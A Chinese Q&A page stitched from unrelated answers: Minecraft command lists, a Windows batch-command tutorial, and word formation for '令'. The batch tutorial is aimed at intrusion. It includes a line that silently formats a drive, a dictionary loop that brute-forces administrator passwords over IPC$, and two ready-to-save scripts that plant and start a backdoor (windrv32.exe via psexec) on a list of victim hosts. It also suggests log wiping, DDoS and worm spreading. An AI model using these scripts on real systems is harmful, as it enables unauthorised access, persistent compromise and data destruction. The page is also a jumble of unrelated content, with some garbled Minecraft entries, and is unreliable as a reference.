❶ 网易我的世界有哪些命令方块指令
《我的世界》命令方块指令大全:
/give 给予人 物品id 数量 - 给予某人物品,如果不写数量则给予数量默认为64
/nick ID 名称 -给某人改一个名 ID是加白名单的名字
/backup -运行备份命令
/fireball -发射一个火球(会破坏方块)
/heal name -治疗某人
/invsee name -查看某人的包裹
/lingtning name -天谴(不填写名字会雷击鼠标指向的地方)
/mute name -禁言某人
/ping -乒乓
/seen name -查看某人最后退出的时间
/tp name1 name2 -将人物1传送至人物2身旁
/tp name -将自己传送至某人身旁
/tphere name -将某人传送至自己身旁
/tpall -将服务器内的所有人传送至自己身旁
(上面四个命令需要对方在线,不需要对方同意)
/unlimited id -给予自己无限的某物品
/weather storm/sun time -改变天气,雷雨或晴天
/foreSTGen -在自己身旁形成森林
/pumpkins -在自己身旁形成南瓜林(带叶子的南瓜林)
/snow -在自己的身旁成为雪后的样子
/thaw -融雪(和冰)
/butcher -杀死附近的怪物
/tree 树形 -生成一棵树(树形不填也可以)
树形:big - 大树 ewquoia - 红木 Tall sequoia - 高大的红木
Birch - 衫树 Random - 随机
/up 高度 - 将自己提升到某高度,脚下用一块可能悬空的玻璃支撑
//set id - 将选中的区域变为某物品(如果是不可放置或者没有放置点的物品会成为被扔出的状态)
//undo - 还原上一次的WorldEdit行动
//redo - 还原上一次的//undo(这个说明可能有误)
//move x - 将区域移动x块。移动时需正对着区域与NEWS。
//move x up - 将区域向上移动x块
//move x down - 将区域向下移动x块
替换指令://replace xxx yyy(xxx是原来方块,yyy是替换方块)复制指令//(你站在哪里复制的,等一下粘贴也会是相同位置出现)
粘贴指令://paste(注意站好位置)
输入围墙指令://walls xxx
ascend - 把自己提升到上一个平台
bind <命令> {命令关键字} - 设置一键命令
clear - 清空控制台
damage - 关闭或者开启伤害 即无敌
descend - 把自己移动到下面一个的平台
destroy [all] - 破坏当前的东西(背包)
defuse [all] - 拆弹(拆除已经点燃了的TNT炸药)
diff - X
difficulty - 设置游戏难度
droPStore - 在身边创建一个储物柜
*drops - 开关物品掉落,关闭的话采矿打怪不掉东西。
pe [all] - 复制东西
plicate [all] - 复制手上的东西并丢出来
explode [范围] - 设置一个地方爆炸(在自家慎用)
extinguish [all] - 熄灭周围所有的火
ext [all] - 一样是熄灭火
falldamage - 开关高空落下伤害
firedamage - 开关火的伤害
fly - 飞行模式
*freeze - 冻结怪物
give <物品> [数量] - 给一样物品
goto <名字> - 去一个地方
grow [all] - 让立即小麦成长
h [COMMAND] - 命令列表/帮助
heal - 补指定的血
health - 设置生命值
help [COMMAND] - 命令列表/帮助
home 回到出生点
i <物品代码> [数量] - 刷东西
instantmine - 开关即时采矿(采矿无延迟)
item <物品代码|物品名称> [数量] [费用] 给玩家物品, 如果不指定则是最大的数量
itemname - 显示当前手上的物品名称
itemstack <物品代码> [数量] - 给玩家指定数量的物品
kill 自杀不解释
jump - 瞬移到鼠标所指的地方
killnpc [all] - 杀死周围全部NPC 或者叫 杀了附近所有除自己外的活体生物
l - X
*light - 把光永久性关闭
listwaypoints - 列出所有路径点
macro <文件名> {参数} - 允许运行宏
maxstack [物品ID|物品名称|全部] [数量] - 最大的把某物品堆起来
*mobdamage - 怪物不会给你伤害
msg <消息> - 添加一个消息到控制台
music [音量] - 播放音乐
noclip - 穿墙
p - 显示当前坐标
pos 现在玩家的坐标
reach - 玩家到指定地方
return - 传送到之前传送的地方
rem - 删除指定路点
removedrops [all] - 删掉地上物品
*rename - 修改命令名称
replenish [all] - X
repair [all] - 修复当前物品耐久
reset - 恢复默认设置
s <名字> - Same as /set
search <关键词> - 搜索物品名称
set <名字> - 在这世界标记一个路径点
setjump [JUMP|reset] - 设置跳跃的高度 落地伤害和移动 1:1
setspawn [ ] 设置当前位置 X轴 Y轴 Z轴
setspeed [速度|重置] - 设置移动速度
setspeed [速度|重置] - 设置移动速度
spawn [QTY] - 产生一个生物
spawnstack {NAME|ID|random} - 产生一个合体的怪物NPC
unbind - 解除一个命令
useportal - 传送到地狱
waterdamage - 开关潜水伤害
world - 世界情报
world load - 加载指定的文件
world save - 保存退出游戏
world seed [SEED] - 给你看看你世界里有多少个方块
world new [FILENAME] [SEED] - 在指定位置创建新地图
world exit - 不保存退出游戏
world list - 列出所有存档
(1)含有命令的字有哪些扩展阅读:
命令方块(Command Block)是游戏《Minecraft》里,被红石信号激活后(在1.9加入了保持开启的功能,无需红石)能执行命令的方块,这对冒险地图提供了极多的功能。
自Minecraft15w35a后,命令方块可以不再使用红石信号便可激活。
这是一种用于执行minecraft游戏命令的实体方块。只能通过作弊获得,它常用在多人服务器与自订地图中。仅在创造模式下可以打开命令方块的GUI和放置命令方块。
❷ 批处理命令大全
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample篅echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
❸ 我的世界命令方块有哪些可用命令
/clear 清空背包
/difficulty 调整难度(0:和平 1:简单 2:普通 3:困难)
/effect 获得效果(1速度 2缓慢 3急迫 4挖掘疲劳 5力量 6瞬间治疗 7瞬间伤害 8跳跃提升 9反胃 10生命恢复 11抗性提升 12防火 13水下呼吸 14隐身 15失明 16夜视 17饥饿 18虚弱 19中毒)
/enchant 手中的装备会被附魔(目前不清楚附魔ID)
/gamemode (0:生存 1:创造 2:冒险)
/give <玩家名> <物品ID> <数量> (这是给东西的指令)
/me 命令台会跟你拍悔卖萌
/say <玩家名> <文本信息>会让命令台发送广播消息就给你这些了(如果用在命令方块上就把<玩家名>改成@p,@a)
我的世界 命令方块指令大全:
/give 给予人 物品id 数量 - 给予某人物品,如果不写数量则给予数量默认为64
/fireball -发射一个火球(会破坏方块)
/heal name -治疗某人
/invsee name -查看某人的包裹
/lingtning name -天谴(不填写名字会雷击鼠标指向的地方)
/seen name -查看某人最后退出的时间
/tp name1 name2 -将人物1传送至人物2身旁
(上面四个命令需要对方在线,不需要对方同意)
/unlimited id -给予自己无限的某物品
/weather storm/sun time -改变天气,雷雨或晴天
【箭术】 - Archery
【斧头技能】 - Axes
【采矿】- mining
【修理】 - Repair
手拿木斧,左键一角,右键一角,两角之间的长方体为选择区域:
//set id - 将选中的区袭尘正域变为某物品(如果是不可放置或者没有放置点的物品会成为被扔出的状态)
//undo - 还原上一次的WorldEdit行动
//redo - 还原上一次的//undo(这个说明可能有误)
//move x - 将区域移动x块。移动时需正对着区域与NEWS。
//move x up - 将区域向上移动x块
//move x down - 将区域向下移动x块
替换指令://replace xxx yyy(xxx是原来方块,yyy是替换方块)
复制指令//(你站在哪里复制的,等一下粘贴也会是相同位置出现)
粘贴指令://paste(注意站好位置)
输入围墙指令://walls xxx
ascend - 把自己提升到上一个平台
bind <命令> {命令关键字兄败} - 设置一键命令
clear - 清空控制台
damage - 关闭或者开启伤害 即无敌
descend - 把自己移动到下面一个的平台
destroy [all] - 破坏当前的东西(背包)
defuse [all] - 拆弹(拆除已经点燃了的TNT炸药)
diff - X
pe [all] - 复制东西
plicate [all] - 复制手上的东西并丢出来
explode [范围] - 设置一个地方爆炸(在自家慎用)
extinguish [all] - 熄灭周围所有的火
ext [all] - 一样是熄灭火
falldamage - 开关高空落下伤害
firedamage - 开关火的伤害
fly - 飞行模式
give <物品> [数量] - 给一样物品
goto <名字> -
去一个地方
grow [all] - 让立即小麦成长
h [COMMAND] - 命令列表/帮助
heal - 补指定的血
health - 设置生命值
help [COMMAND] - 命令列表/帮助
home 回到出生点
i <物品代码> [数量] - 刷东西
instantmine - 开关即时采矿(采矿无延迟)
item <物品代码|物品名称> [数量] [费用] 给玩家物品, 如果不指定则是最大的数量
itemname - 显示当前手上的物品名称
itemstack <物品代码> [数量] - 给玩家指定数量的物品
kill 自杀不解释
jump - 瞬移到鼠标所指的地方
killnpc [all] - 杀死周围全部NPC 或者叫 杀了附近所有除自己外的活体生物
l - X
*light - 把光永久性关闭
listwaypoints - 列出所有路径点
macro <文件名> {参数} - 允许运行宏
maxstack [物品ID|物品名称|全部] [数量] - 最大的把某物品堆起来
*mobdamage - 怪物不会给你伤害
msg <消息> - 添加一个消息到控制台
music [音量] - 播放音乐
noclip - 穿墙
p - 显示当前坐标
pos 现在玩家的坐标
reach - 玩家到指定地方
return - 传送到之前传送的地方
rem - 删除指定路点
removedrops [all] - 删掉地上物品
*rename - 修改命令名称
replenish [all] - X
repair [all] - 修复当前物品耐久
reset - 恢复默认设置
s <名字> - Same as /set
search <关键词> - 搜索物品名称
set <名字> - 在这世界标记一个路径点
setjump [JUMP|reset] - 设置跳跃的高度 落地伤害和移动 1:1
setspawn [ ] 设置当前位置 X轴 Y轴 Z轴
setspeed [速度|重置] - 设置移动速度
setspeed [速度|重置] - 设置移动速度
spawn [QTY] - 产生一个生物
spawnstack {NAME|ID|random} - 产生一个合体的怪物NPC
*superheat [all] - Turns items which are furnace-able into their furnaced form
t - Same as /tele
tele - 传送到此坐标
time [set|get|day|night [minute|hour|day [TIME]]] - 设置指定时间得到物品
timeschele > - 设定一段时间段,让世界永远保持在这段时间之间- - 《凉宫春日漫无止境的八月》
unbind - 解除一个命令
useportal - 传送到地狱
waterdamage - 开关潜水伤害
world - 世界情报
版本越高指令越全,如果这个版本用不了请在高版本中使用,一般1.9版本指令就已经很全了
minecraft老玩家为您解答,如有疑问欢迎追问,如有帮助请采纳
❹ 命令的令怎么组词 命令的令组词有哪些
1、命令的令的组词裂饥州:责令、口令、绕口令、命令、号令、勒令、军令状、指令、令人神往、令尊、令堂、三令五申。
2、命令是汉语词汇,拼音是mìng lìng,意思是国家肆蔽行政机关及其领导人发布的指挥性和强制性的公文。
3、绕口令又称急口肢巧令、吃口令、拗口令等。是一种民间传统的语言游戏,由于它是将若干双声、叠韵词或发音相同、相近的语、词有意集中在一起,组成简单、有趣的语韵,要求快速念出,所以读起来使人感到节奏感强,妙趣横生。绕口令是民间汉语语言游戏,将声母、韵母或声调极易混同的字,组成反复、重叠、绕口、拗口的句子,要求一口气急速念出。